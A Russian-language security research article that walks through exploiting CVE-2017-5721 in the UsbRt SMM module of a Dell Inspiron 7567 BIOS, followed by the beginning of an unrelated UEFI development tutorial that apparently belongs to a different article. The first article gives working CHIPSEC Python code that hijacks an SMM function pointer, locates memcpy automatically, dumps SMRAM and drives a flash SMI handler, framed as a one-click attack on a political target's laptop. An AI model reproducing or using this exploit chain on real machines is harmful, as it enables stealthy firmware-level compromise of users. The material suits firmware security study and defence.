Исследования в области безопасности UEFI BIOS уже не являются чем-то новомодным, но в последнее время чувствуется некоторый дефицит образовательных материалов по этой теме (особенно на русском языке). В этой статье мы постараемся пройти весь путь от нахождения уязвимости и до полной компрометации UEFI BIOS. От эксплуатации execute примитива до закрепления в прошивке UEFI BIOS.
Автор статьи Закиров Руслан @backtrace.
Предполагается, что читатель уже знаком с основами UEFI BIOS и устройством подсистемы SMM.
В качестве подопытного кролика мы взяли ноутбук DELL Inspiron
7567. Причины выбора этого ноутбука следующие: нам известно, что в
старой прошивке этого ноутбука есть известная уязвимость
CVE-2017-5721, а также он есть у нас в наличии.
Первое, что происходит с ноутбуком при начале исследований -
определение местоположения SPI флеш-памяти на материнской плате.
Обнаружить этот чип можно визуально после разборки ноутбука. SPI
флеш-память практически всегда находится на нижней стороне
материнской платы, поэтому полный разбор ноутбука не требуется.
Иногда даже достаточно снять крышку для доступа к HDD.
После обнаружения SPI флеш-памяти есть 2 варианта развития событий:
Подключаем любым доступным способом флеш-память к программатору напрямую от ноутбука (строго в выключенном состоянии);
Выпаиваем этот чип, для того чтобы можно было поместить его в кроватку (адаптер), что позволит быстро переподключать флеш-память от ноутбука к программатору и обратно.
Мы в нашей работе используем универсальный программатор ChipProg-481, но, в целом, подойдёт любой SPI программатор. Наличие программатора необходимо, поскольку ошибка при работе с содержимым флешки может привести к тому, что ноутбук станет "кирпичом". В таком случае восстановление его работоспособности будет возможно лишь при помощи перезаписи содержимого SPI флеш-памяти заранее снятым с нее дампом "до экспериментов". Также наличие программатора позволит заливать модифицированные прошивки со специальным "бэкдором" для расширение возможностей анализа.
Наша работа будет производиться над версией прошивки 1.0.5 (link). При отсутствии возможности откатиться до этой версии прошивки вы можете воспользоваться нашим дампом.
После снятия дампа с SPI флеш-памяти возникает необходимость открыть этот бинарный файл. Для этой цели существует UEFITool, который позволяет не только просматривать содержимое прошивки UEFI BIOS, но и производить поиск, извлекать, добавлять, заменять и удалять компоненты прошивки. Функции, связанные с пересборкой прошивки доступны только в Old Engine версии. Для остальных задач лучше использовать New Engine (содержит "NE" в названии файла).
Довольно часто нужные кодовые модули EFI можно найти внутри дампа по их названиям (напрмер, UsbRt). Но в некоторых случаях вендоры не сохраняют информацию о названиях модулей в прошивке. В таком случае поиск требуемого модуля следует производить при помощи его GUID, но это сработает только с общеизвестными модулями. Нередко разработчики BIOS добавляют в прошивки проприетарные модули, и при отсутствии информации о названиях модулей приходится придумывать свои собственные.
GUID модулей можно найти в следующих источниках:
В открытой реализации UEFI EDKII
В репозитории (U)EFI Whitelisting Project
В прошивке UEFI BIOS другого ноутбука, в котором названия модулей сохранены
В интегрированных базах различных инструментов и плагинов
При анализе модулей наиболее полезными инструментами являются IDA Pro и Ghidra. Но наличие только этих инструментов будет недостаточно. В этих материалах можно подробно узнать об актуальных инструментах при исследовании UEFI BIOS:
Нам понадобятся следующие инструменты:
UEFITool - о нем говорилось выше
CHIPSEC - при помощи этого фреймворка мы будем разрабатывать наш PoC
RWEverything - очень полезный инструмент, который позволяет взаимодействовать с различными аппаратными ресурсами компьютера, и все это при помощи GUI
Плагины для IDA Pro: efiXplorer и/или ida-efitools2
Если вы приверженец Ghidra, то вам понадобится плагин efiSeek
Для обработки дампа SMRAM нам понадобится скрипт smram_parse
Это не исчерпывающий, но достаточный список инструментов этой тематики. Как можно заметить, все перечисленные инструменты относятся к типу инструментов статического анализа. Как же обстоят дела с инструментами динамического анализа? Можно рассмотреть следующий список актуальных инструментов:
Несмотря на существование подобных инструментов и их активное развитие, в практическом плане при поиске уязвимостей в подсистеме SMM они представляют нулевую ценность, поскольку ориентированы на эмуляцию фаз PEI и DXE.
В таком случае появляется вопрос: как же производить отладку? Отладку можно производить при помощи технологии Intel DCI. Информацию об использовании данной технологии можно получить из следующих материалов:
Проблема этой технологии в том, что работает она далеко не везде. Поэтому отладка зачастую производится методом проб и ошибок.
Попробуем самостоятельно найти уязвимость в модуле UsbRt. Для
начала откроем дамп BIOS в UEFITool, после чего сделаем поиск по
тексту "UsbRt", и обнаружим, что это название в прошивке отсутстует
(вендор не оставил информацию о названиях модулей) либо называется
он по-другому.
Произведя поиск в различных источниках (например,
здесь) мы определяем, что модулю UsbRt соответствует GUID
04EAAAA1-29A1-11D7-8838-00500473D4EB. Теперь, при помощи поиска по
GUID, мы можем извлечь соответствующую секцию образа PE32. На самом
деле UEFITool содержит в себе базу общеизвестных GUID-ов, но
надпись "USBRT" пришлось бы искать глазами, поскольку поиск по
тексту не включает в себя записи из базы GUID-ов.
Здесь и далее будет использоваться инструмент IDA Pro с указанными выше плагинами, но все необходимые манипуляции доступны и в Ghidra.
После открытия модуля UsbRt в IDA Pro нам необходимо найти
обработчик software прерываний. Чаще всего все достаточно просто -
после отработки плагина ida-efitools2 функция уже подписана как
"DispatchFunction".
Но в данном случае эта функция относится к протоколу EFI_SMM_USB_DISPATCH2_PROTOCOL, который нас не сильно интересует. Нам следует отталкиваться от перекрестных ссылок на EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID, чтобы определить место использования интересующего нас протокола. Так мы сможем понять какая функция регистрируется в качестве обработчика software прерываний.
Я назвал обнаруженный обработчик как "SwDispatchFunction". Также можно заметить, что этому обработчику соответствует SMI прерывание #31h.
Здесь стоит обратить внимание на некий глобальный указатель на структуру "usb_data", на основе которой происходит много операций. Из неё же извлекается структура "request", откуда в свою очередь извлекается некий индекс. Ниже можно заметить, что на основе индекса происходит вызов функции из массива.
.code:0000000080000E80 funcs_1C42 dq offset sub_80001F74 ; DATA XREF: sub_8000191C+259o.code:0000000080000E80 ; SwDispatchFunction:loc_80001C35o ....code:0000000080000E80 dq offset sub_80002028.code:0000000080000E80 dq offset sub_80002030.code:0000000080000E80 dq offset sub_8000205C.code:0000000080000E80 dq offset sub_8000205C.code:0000000080000E80 dq offset sub_8000205C.code:0000000080000E80 dq offset sub_80002064.code:0000000080000E80 dq offset sub_800020B0.code:0000000080000E80 dq offset sub_80001F38.code:0000000080000E80 dq offset sub_8000205C.code:0000000080000E80 dq offset sub_8000205C.code:0000000080000E80 dq offset sub_8000205C.code:0000000080000E80 dq offset sub_80002938.code:0000000080000E80 dq offset sub_80002E58.code:0000000080000E80 dq offset sub_80003080.code:0000000080000E80 dq offset sub_800030D8.code:0000000080000E80 dq offset sub_800029AC.code:0000000080000E80 dq offset sub_80002B18.code:0000000080000E80 dq offset sub_80002B20.code:0000000080000E80 dq offset sub_80002D08.code:0000000080000E80 dq offset sub_80002D5C.code:0000000080000E80 dq offset sub_80008888.code:0000000080000E80 dq offset sub_80002C84.code:0000000080000E80 dq offset sub_80002EB0
Сделаем вид, что просмотрели все 24 функции, и наибольший интерес у нас вызвала функция с индексом 14 (sub_80003080), которую назовём как "subfunc_14".
Функция, после нескольких арифметических операций, извлекает и передает указатель из структуры usb_data в следующую функцию:
Здесь мы обнаруживаем просто изумительную функцию! Помимо возможности исполнить произвольный адрес эта функция так же позволяет передать вплоть до 7 аргументов! Но главный вопрос - можем ли мы управлять передаваемым указателем?
Приступим к изучению указателя usb_data. Список перекрестных ссылок не оставляет никаких надежд усомниться в местонахождении инициализации данного указателя:
Судя по всему, нам придётся искать модуль, который производит установку протокола EFI_USB_PROTOCOL (сразу после того как убедились, что этот протокол не устанавливается в модуле UsbRt):
На данном этапе, возможно, уместно было бы воспользоваться
плагином efiXplorer для поиска нужного модуля, но мы сделаем по
старинке. Копируем GUID интересующего нас протокола (ida-efitools2
позволяет это делать при помощи горячей клавиши Ctrl-Alt-G) либо
извлекаем соответствующие этому GUID байты. Полученную информацию
используем для поиска в прошивке при помощи UEFITool (ставим
галочку Header and body).
Сразу можно отсечь модули, у которых вхождения не только в PE32, но и в "MM dependecy section" (секция зависимостей модуля), поскольку модуль не может одновременно предоставлять протокол и зависеть от него.На выбор остаётся Bds, SBDXE, Setup, CsmDxe, UHCD, KbcEmul и некий безымянный модуль. Можно бегло просмотреть все эти модули на предмет установки протокола EFI_USB_PROTOCOL, но что-то мне подсказывает, что первая буква в аббревиатуре UHCD означает Usb, поэтому перейдем сразу к нему.
EFI_USB_PROTOCOL действительно устанавливается в этом модуле. Тут же мы видим указатель usb_data. Также важно отметить, что в первое поле структуры EFI_USB_PROTOCOL записывается сигнатура "USBP" ('PBSU' при обратном порядке байтов). Осталось понять, откуда берётся usb_data.
Структура аллоцируется при помощи той же функции, что и в случае с EFI_USB_PROTOCOL. Также устанавливается сигнатура "$UDA" (Usb DAta?). Как же происходит аллокация памяти?
Вот где собака зарыта! Память выделяется при помощи EFI_BOOT_SERVICES, т.е. в фазе DXE. Это значит, что память не размещена внутри SMRAM, поэтому ОС имеет полный доступ к этой памяти, осталось только найти нужные структуры в ней. Тут не помешает отметить, что память выделяется с типом "AllocateMaxAddress", из-за чего с высокой долей вероятности выделенный буфер будет располагаться где-то неподалеку от начала SMRAM.
У нас начинает вырисовываться следующий алгоритм эксплуатации обнаруженной уязвимости:
Ищем в памяти сигнатуру "$UDA" - так мы установим расположение структуры usb_data;
По определенному смещению заменяем указатель в структуре на подконтрольный адрес;
Также обновляем структуру request в usb_data, чтобы вынудить обработчик исполнить subfunc_14;
В той же структуре можно указать буфер с нашими аргументами для вызываемой функции;
Генерируем software прерывание #31h.
Для всех перечисленных действий нам потребуется привилегии ядра
(Ring 0). Но писать эксплоит в виде системного драйвера выглядит
довольно трудозатратно и долго.
Под эту задачу идеально подходит фреймворк CHIPSEC, который написан
на Python, и который имеет все необходимые примитивы по работе с
физической памятью, PCI, прерываниями и прочими аппаратными
функциями.
CHIPSEC для доступа к аппаратным ресурсам использует собственный
самоподписанный системный драйвер. Из-за этого ОС необходимо
переключать в тестовый режим. Но CHIPSEC также позволяет
использовать драйвер RWEverything, который имеет валидную цифровую
подпись. Этот вариант имеет некоторые подводные камни, как,
например, ограничение на размер выделяемой физической памяти,
который не может превышать 0x10000 байт.
Инициализация и генерирование прерывания через фреймворк CHIPSEC выглядит следующим образом:
import chipsec.chipsetfrom chipsec.hal.interrupts import InterruptsSMI_USB_RUNTIME = 0x31cs = chipsec.chipset.cs()cs.init(None, None, True, True)intr = Interrupts(cs)intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)
Приступим к поиску usb_data в памяти.
mem_read = cs.helper.read_physical_memmem_write = cs.helper.write_physical_memmem_alloc = cs.helper.alloc_physical_memPAGE_SIZE = 0x1000SMRAM = cs.cpu.get_SMRAM()[0]for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1): if mem_read(addr * PAGE_SIZE, 4) == b'$UDA': usb_data = addr * PAGE_SIZE break
Мы пользуемся особенностью памяти, выделенной по типу AllocateMaxAddress, производя поиск от SMRAM в обратном порядке. Также нет смысла сверять каждый байт, поскольку для этого буфера выделялись страницы памяти, поэтому шагаем по 4096 байт.
Теперь подготовим нашу структуру request и обновим соответствующий указатель в usb_data:
struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d') # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10') # поправка на ветер# по этому смещению UsbRt берёт указатель на структуру requestmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))
И самое интересное - изменяем указатель по смещению 0x78 (именно такое значение получается после всех вычислений в функции subfunc_14) в структуре usb_data. Модуль UsbRt затем попытается его исполнить в процессе обработки прерывания.
bad_ptr = 0x12345678func_offset = 0x78mem_write(usb_data + func_offset, 8, pack('<Q', bad_ptr))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)
По исполнению этого кода можно заметить, что система намертво зависла. Но дело совсем не в том, что по адресу 0x12345678 располагается невесть что, а в том, что произошло аппаратное исключение Machine Check Exception. Наступило оно по причине того, что современные платформы предотвращают исполнение SMM кода вне региона SMRAM (SMM_Code_Chk_En).
Обойти это ограничение относительно легко - достаточно посмотреть адрес функции memcpy в модуле UsbRt (или любом другом) в дампе SMRAM. Но без дампа SMRAM адрес так просто не узнать. И здесь мы переходим ко второй части этой статьи.
Главный минус текущего варианта эксплоита в том, что он позволяешь лишь исполнить код по указанному адресу. Для свободы действий необходимо придумать способ развить эксплоит до полноценного read-write-execute примитива.
Мы можем исполнить любой код в SMRAM, но мы не знаем расположение функций внутри SMRAM. Значит, нужно самостоятельно определить базовый адрес какого-либо модуля. И уже относительно этого базового адреса мы сможем получить адрес интересующей нас функции (memcpy, например).
Как мы уже могли заметить, часть используемых данных при работе SMM хранится вне SMRAM. Некоторые структуры инициализируются в процессе работы фазы DXE, и по завершению этой фазы остаются висеть мертвым грузом в зарезервированной памяти, лишая ОС возможности воспользоваться ей. В таких структурах иногда можно обнаружить указатели в область SMRAM. При изучении происхождения этих структур можно наткнуться на очень полезные указатели.
Хорошим примером такой структуры является SMM_CORE_PRIVATE_DATA. Даже название уже интригует. Эти "приватные данные" легко находятся по сигнатуре "smmc" в зарезервированных областях памяти. Структура описана в репозитории EDK2:
typedef struct { UINTN Signature; /// /// The ImageHandle passed into the entry point of the SMM IPL. This ImageHandle /// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded /// Image Protocol for each SMM Driver that is dispatched by the SMM Core. /// EFI_HANDLE SmmIplImageHandle; /// /// The number of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager. /// UINTN SmramRangeCount; /// /// A table of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager. /// EFI_SMRAM_DESCRIPTOR *SmramRanges; /// /// The SMM Foundation Entry Point. The SMM Core fills in this field when the /// SMM Core is initialized. The SMM IPL is responsible for registering this entry /// point with the SMM Configuration Protocol. The SMM Configuration Protocol may /// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL /// sets up a protocol notification on the SMM Configuration Protocol and registers /// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is /// available. /// EFI_SMM_ENTRY_POINT SmmEntryPoint; /// /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core. /// BOOLEAN SmmEntryPointRegistered; /// /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core. /// BOOLEAN InSmm; /// /// This field is set by the SMM Core then the SMM Core is initialized. This field is /// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in /// the SMM IPL. /// EFI_SMM_SYSTEM_TABLE2 *Smst; /// /// This field is used by the SMM Communication Protocol to pass a buffer into /// a software SMI handler and for the software SMI handler to pass a buffer back to /// the caller of the SMM Communication Protocol. /// VOID *CommunicationBuffer; /// /// This field is used by the SMM Communication Protocol to pass the size of a buffer, /// in bytes, into a software SMI handler and for the software SMI handler to pass the /// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol. /// UINTN BufferSize; /// /// This field is used by the SMM Communication Protocol to pass the return status from /// a software SMI handler back to the caller of the SMM Communication Protocol. /// EFI_STATUS ReturnStatus; EFI_PHYSICAL_ADDRESS PiSmmCoreImageBase; UINT64 PiSmmCoreImageSize; EFI_PHYSICAL_ADDRESS PiSmmCoreEntryPoint;} SMM_CORE_PRIVATE_DATA;
В нашем случае нам бы очень пригодился указатель PiSmmCoreImageBase, по которому располагается модуль PiSmmCore. К сожалению, наша система старовата, и настоящая структура не совсем соответствует описанию. До некоторого момента последних трёх указателей в этой структуре не существовало, как можно заметить в репозитории. В таком случае мы вынуждены прибегнуть к иному способу.
Мы уже знаем, что в памяти располагаются структуры usb_data и usb_protocol. Вполне возможно, что эти структуры содержат указатели на функции внутри модуля UsbRt.
Если мы вернёмся к месту инициализации указателя usb_data в
модуле UsbRt, то можем заметить, что в коде происходит замена
некоторых указателей в протоколе EFI_USB_PROTOCOL:
Указателями являются функции модуля UsbRt - как раз то, что нам надо. Сконцентрируемся на указателе по смещению +0x50 (+0xA), поскольку он наиболее близок к базовому адресу (это пока не важно).
Извлечь этот указатель достаточно просто:
for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1): if mem_read(addr * PAGE_SIZE, 4) == b'USBP': usb_protocol = addr * PAGE_SIZE breakfuncptr = unpack('<Q', mem_read(usb_protocol + 0x50, 8))[0]
А теперь всё просто: открываем UsbRt в дизассемблере, сопоставляем виртуальный адрес функции с фактическим, находим функцию memcpy, вычисляем разницу между двумя функциями, прибавляем разницу к фактическому адресу полученной функции. Физический адрес функции memcpy получен!
Наш эксплоит теперь можно дополнить. Мы можем, например, сделать полный дамп SMRAM. И возможность передавать аргументы наконец пригодилась:
memcpy = 0x8d5afdb0src = cs.cpu.get_SMRAM()[0] # начало SMRAMcnt = cs.cpu.get_SMRAM()[2] # размер SMRAMdst = mem_alloc(cnt, 0xffffffff)[1]argc = 3argv = mem_alloc(argc << 3, 0xffffffff)[1]mem_write(argv, 8, dst)mem_write(argv + 8, 8, src)mem_write(argv + 0x10, 8, cnt)struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d') # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10') # поправка на ветерmem_write(struct_addr + 0x3, 8, pack('<Q', argv)) # указатель на аргументыmem_write(struct_addr + 0xf, 4, pack('<I', argc << 3)) # размер аргументовmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))mem_write(usb_data + 0x78, 8, pack('<Q', memcpy))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)with open('smram_dump.bin', 'wb') as f: f.write(mem_read(dst, cnt))
Дамп SMRAM получили. Но на душе все равно как-то гадко. Мы ведь вручную сопоставили адреса функций и посчитали разницу до функции memcpy. Нельзя ли сделать это автоматически?
Давайте представим, что мы эксплуатируем ноутбук какого-нибудь члена Национального комитета Демократической партии США. Нам не до сопоставления функций, нужно сделать все в один клик. Более того, нельзя просто взять и положить рядом извлеченный модуль UsbRt. Версия может же отличаться.
Для извлечения актуальной версии модуля идеально подходит специальный регион физической памяти, в которой расположена отображённая на память (memory mapped) флеш-память. Смапленную флеш-память можно прочитать в самом конце 4 ГБ-ного пространства физической памяти. Начало региона зависит от размера флеш-памяти.
Для нас достаточно знать начало и размер BIOS региона. В этом нам поможет регистр BIOS_BFPREG, который находится в SPIBAR. В нем хранятся значения базового смещения и предела BIOS региона внутри флеш-памяти. Это позволяет нам вычислить размер BIOS региона. Поскольку BIOS регион принято хранить последним, то на основе размера этого региона можно определить физический адрес региона в смапленной флеш-памяти.
base = cs.read_register_field('BFPR', 'PRB') << 12limit = cs.read_register_field('BFPR', 'PRL') << 12bios_size = limit - base + 0x1000bios_addr = 2**32 - bios_size
Благодаря широким возможностям фреймворка CHIPSEC у нас есть возможность в автоматизированном режиме распаковать считанную из памяти часть прошивки и извлечь необходимый модуль.
from uuid import UUIDfrom chipsec.hal.uefi import UEFIfrom chipsec.hal.spi_uefi import build_efi_model, search_efi_tree, EFI_MODULE, EFI_SECTIONSECTION_PE32 = 0USBRT_GUID = UUID(hex='04EAAAA1-29A1-11D7-8838-00500473D4EB')uefi = UEFI(cs)bios_data = mem_read(bios_addr, bios_size)def callback(self, module: EFI_MODULE): # PE32 секция сама по себе не имеет GUID, нужно обращаться к родителю guid = module.Guid or cast(EFI_SECTION, module).parentGuid return UUID(hex=guid) == USBRT_GUIDtree = build_efi_model(uefi, bios_data, None)modules = search_efi_tree(tree, callback, SECTION_PE32, False)usbrt = modules[0].Image[module.HeaderSize:]
Далее пойдёт очень хитрая математика:
У нас есть указатель на функцию из UsbRt, который был наиболее близок к базовому адресу модуля (вот теперь это стало важно);
Из него можно вычесть смещение входной точки, что приблизит нас к нашей цели;
Осталось вычислить разницу между входной точкой и имеющейся функцией;
Для начала можно выравнить указатель вверх до 0x1000 байт, все равно базовый адрес тоже будет выравнен;
Затем можно вычесть 0x2000 байт. Почему именно это число? Оно было установлено путем обсервации прошивок других версий и других вендоров.
def align_up(x, a): a -= 1 return ((x + a) & ~a)nthdr_off, = unpack_from('=I', usbrt, 0x3c) ep, = unpack_from('=I', usbrt, nthdr_off + 0x28)imagebase = funcptr imagebase -= ep imagebase = align_up(imagebase, 0x1000) imagebase -= 0x2000
Кстати, занимательный факт: в UEFI модулях SectionAlignment равняется FileAlignment (0x20), из-за чего все смещения внутри файла на диске совпадают со смещениями в образе модуля в памяти. Это сделано для экономии места в регионе SMRAM.
Базовый адрес получен. Дело за малым - определить функцию
memcpy. В прошивках UEFI используется memcpy, которая реализована в
EDK2 (она на самом деле называется CopyMem). Поэтому она должна
совпадать у всех вендоров. Так что будет достаточно безопасно
реализовать поиск функции по начальным опкодам.
import rePUSH_RSI_PUSH_RDI = b'\x56\x57'REP_MOVSQ = b'\xf3\x48\xa5'# ищем rep movsqfor m in re.finditer(REP_MOVSQ, usbrt): rep_off = m.start() # теперь в обратном направлении push rsi; push rdi (начало функции) entry_off = usbrt.rfind(PUSH_RSI_PUSH_RDI, 0, rep_off) # на всякий случай проверяем разницу между найденными опкодами if rep_off - entry_off > 0x40: # не походит на правду, пропустим от греха подальше continue memcpy = imagebase + entry_off break
Теперь в нашем арсенале полностью автоматизированный эксплоит, позволяющий не только исполнять код внутри SMRAM, но и произвольно читать и писать в любую область физической памяти.
Возможность свободно взаимодействовать с памятью SMRAM - это, конечно, здорово. Но без возможности закрепиться в прошивке полноценная атака не получится, поскольку после перезагрузки системы память сбросится, очевидно. Следующим шагом будет поиск возможности модифицировать прошивку, которая хранится в SPI флеш-памяти.
В первую очередь стоит ознакомиться с результатами тестов CHIPSEC, которые покажут наличие защитных функций флеш-памяти:
[*] running module: chipsec.modules.common.bios_wp[x][ =======================================================================[x][ Module: BIOS Region Write Protection[x][ =======================================================================[*] BC = 0x00000A8A << BIOS Control (b:d.f 00:31.5 + 0xDC) [00] BIOSWE = 0 << BIOS Write Enable [01] BLE = 1 << BIOS Lock Enable [02] SRC = 2 << SPI Read Configuration [04] TSS = 0 << Top Swap Status [05] SMM_BWP = 0 << SMM BIOS Write Protection [06] BBS = 0 << Boot BIOS Strap [07] BILD = 1 << BIOS Interface Lock Down[!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used)[*] BIOS Region: Base = 0x00700000, Limit = 0x00FFFFFFSPI Protected Ranges------------------------------------------------------------PRx (offset) | Value | Base | Limit | WP? | RP?------------------------------------------------------------PR0 (84) | 00000000 | 00000000 | 00000000 | 0 | 0PR1 (88) | 00000000 | 00000000 | 00000000 | 0 | 0PR2 (8C) | 00000000 | 00000000 | 00000000 | 0 | 0PR3 (90) | 00000000 | 00000000 | 00000000 | 0 | 0PR4 (94) | 00000000 | 00000000 | 00000000 | 0 | 0[!] None of the SPI protected ranges write-protect BIOS region[!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region[-] FAILED: BIOS is NOT protected completely
По результатам тестов можно понять, что в системе действует защита BIOSWE=0 + BLE=1. Это означает, что стандартными функциями записи во флеш-память (доступны в CHIPSEC) у нас не получится что-либо изменить в прошивке. Механизм SPI Protected Ranges не сконфигурирован на этой системе. Это значит, что мы могли бы внести изменения при помощи модуля SMM. Однако, есть еще два механизма, которые могут помешать нам это сделать.
CHIPSEC не может проверить наличие этих механизмов, но в нашей
системе они существуют. Эти механизмы - Intel BIOS Guard и Intel
Boot Guard. Первый механизм не даст нам произвести запись в кодовые
регионы BIOS, а второй, при условии, что мы все же смогли
переписать BIOS, не позволит модифицированной прошивке загрузиться
при запуске системы.
Но мы все же рассмотрим как можно работать с SPI посредством
SMM-драйвера.
Возвращаемся к UEFITool и ищем модуль, название которого как-то связано с Flash и SMI. Идеальным кандидатом является модуль FlashSmiSmm. При его детальном изучении в дизассемблере может сложиться впечатление, что он не регистрирует никаких software прерываний, в нем даже EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID не фигурирует! На самом деле этот модуль регистрирует другой тип software прерывания, который называется ACPI SMI. Чтобы определить место регистрации ACPI SMI в IDA Pro можно воспользоваться функцией "List cross references to..." на поле EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister в окне структур.
Модуль регистрирует один ACPI SMI, предварительно считав UEFI переменную "FlashSmiBuffer", название которой недвусмысленно говорит о том, что в переменной хранится указатель на буфер для работы с флеш-памятью.
Конкретный ACPI SMI идентифицируется своим GUID, который указывается вторым аргументом функции SmiHandlerRegister (HandlerType). В нашем случае это 4052aca8-8d90-4f5a-bfe8-b895b164e482. Он нам далее понадобится. Теперь рассмотрим непосредственно саму функцию обработчика.
FlashSmiBuffer действительно используется для передачи задачи и аргументов. Если переключить отображение констант на символьное представление, то всё становится более менее очевидно:
Fe - Flash Erase
Fu - Flash Read (тут чисто логически, не понятно при чем тут "u")
Fw - Flash Write
Wd - Write Disable
We - Write Enable
Осталось лишь написать прототип для работы с SPI флеш-памятью, учитывая то, что обработчик реализован в виде ACPI SMI.
HANDLER_GUID = '4052aca8-8d90-4f5a-bfe8-b895b164e482'flash_addr = 0x200000size = 0x1000output = mem_alloc(size, 0xffffffff)[1]smi_buffer = unpack('<Q', cs.helper.get_EFI_variable('FlashSmiBuffer', HANDLER_GUID))[0]mem_write(smi_buffer, 4, b'FSMI') # сигнатураmem_write(smi_buffer + 0x28, 2, b'uF') # команда чтения с флеш-памятиmem_write(smi_buffer + 4, 4, pack('<I', flash_addr)) # адрес флеш-памятиmem_write(smi_buffer + 0x18, 4, pack('<I', size)) # размерmem_write(smi_buffer + 0x90, 4, pack('<I', output)) # выходной буферintr = Interrupts(cs)intr.send_ACPI_SMI(0, 1, intr.find_ACPI_SMI_Buffer(), None, HANDLER_GUID, '')
Таким незатейливым способом мы смогли заставить SMM драйвер прочитать для нас часть прошивки.
Препарировать UEFI BIOS довольно интересно, хоть и немного однообразно. Когда надоест искать и находить RCE в SMM, можно переключиться на BIOS Guard и Boot Guard, в которых тоже можно найти кучку уязвимостей, а сам процесс поиска доставит кучу удовольствия. А если и это надоест, то самое время переключиться на изучение самого сложного, что можно найти в современных PC - Intel ME.
Всем привет. В рамках проекта от компании Acronis со студентами Университета Иннополис (подробнее о проекте мы уже описали это тут и тут) мы изучали последовательность загрузки операционной системы Windows. Появилась идея исполнять логику даже до загрузки самой ОС. Следовательно, мы попробовали написать что-нибудь для общего развития, для плавного погружения в UEFI. В этой статье мы пройдем по теории и попрактикуемся с чтением и записью на диск в pre-OS среде.
В компании Acronis команд, которые занимаются UEFI, не так много, поэтому я решил разобраться в вопросе самостоятельно. К тому же есть проверенный способ получить огромное количество точных советов совершенно бесплатно и свободно просто начать делать что-либо и выложить это в интернет. Поэтому комментарии и рекомендации под этим постом очень приветствуются! Вторая цель данного поста собрать небольшой дайджест статей о UEFI и помочь двигаться в этом направлении.
Для начала хочу перечислить список источников, которые мне очень помогли. Возможно вам они тоже помогут и ответят на ваши вопросы.
Хочу напомнить требования и цели проекта Active Restore. Мы планируем приоритизировать файлы в системе для более эффективного восстановления. Для этого нужно запуститься на максимально раннем этапе загрузки ОС. Для понимания наших возможностей в мире UEFI стоит немного углубиться в теорию о том как проходит цикл загрузки. Информация для этой части полностью взята из этого источника, который я постараюсь популярно пересказать.
UEFI или Unified Extensible Firmware Interface стал эволюцией Legacy BIOS. В модели UEFI тоже есть базовая система ввода-вывода для взаимодействия с железом, хотя процесс загрузки системы и стал отличаться. UEFI использует GPT (Guid partition table). GPT тесно связана со спецификацией и является более продвинутой моделью для хранения информации о разделах диска. Изменился процесс, но задачи остались прежними: инициализация устройств ввода-вывода и передача управления в код операционной системы. UEFI не только заменяет бльшую часть функций BIOS, но также предоставляет широкий спектр возможности для разработки в pre-OS среде. Хорошее сравнение Legacy BIOS и UEFI есть тут.
В данном представлении BIOS это компонент, обеспечивающий непосредственное общение с железом и является firmware. UEFI это унификация интерфейса железа для операционной системы, что существенно облегчает жизнь разработчикам.
В мире UEFI мы можем разрабатывать драйвера или приложения. Есть специальный подтип приложений загрузчики. Разница лишь в том, что эти приложения не завершаются привычным нам образом. Завершаются они вызовом функции ExitBootServices() и передают управление в операционную систему. Чтобы принять решение какой же драйвер нужен вам, рекомендую заглянуть сюда, чтобы расширить понимание о протоколах и рекомендациях по их использованию.
Небольшой список того, что мы будем использовать в нашей практике:
Коротко разберем через какие стадии проходит наша машина, прежде чем мы видим заветный логотип операционной системы. Для этого рассмотрим следующую диаграмму:
Процесс с момента нажатия на кнопку питания на корпусе и до полной готовности UEFI интерфейса называется Platform Initialization и делится он на несколько фаз:
Классный рассказ о этапах загрузки есть тут.
Пришло время поставить перед собой простую задачу. Мы можем загрузить наш драйвер в DXE фазе, открыть файл на диске и записать в него какие нибудь данные. Задача достаточно простая, чтобы потренироваться.
Как я уже упоминал мы воспользуемся проектом VisualUEFI, однако рекомендую также попробовать способы описанные тут, хотя бы потому, что использовать дебагер легче в описанном по ссылке способе.
Допускаю, что у вас уже есть Visual Studio. В моем случае у меня Visual Studio 2019. Для начала клонируем себе проект VisualUEFI:
git clone --recurse-submodules -j8 https://github.com/ionescu007/VisualUefi.git
Нам понадобится NASM (https://www.nasm.us/pub/nasm/releasebuilds/2.15.02/win64/). Переходим и скачиваем. На момент написания статьи актуальной версией является 2.15.02. После установки убедитесь, что в переменных средах у вас есть NASM_PREFIX, который указывает на папку, в которую был установлен NASM. В моем случае это C:\Program Files\NASM\.
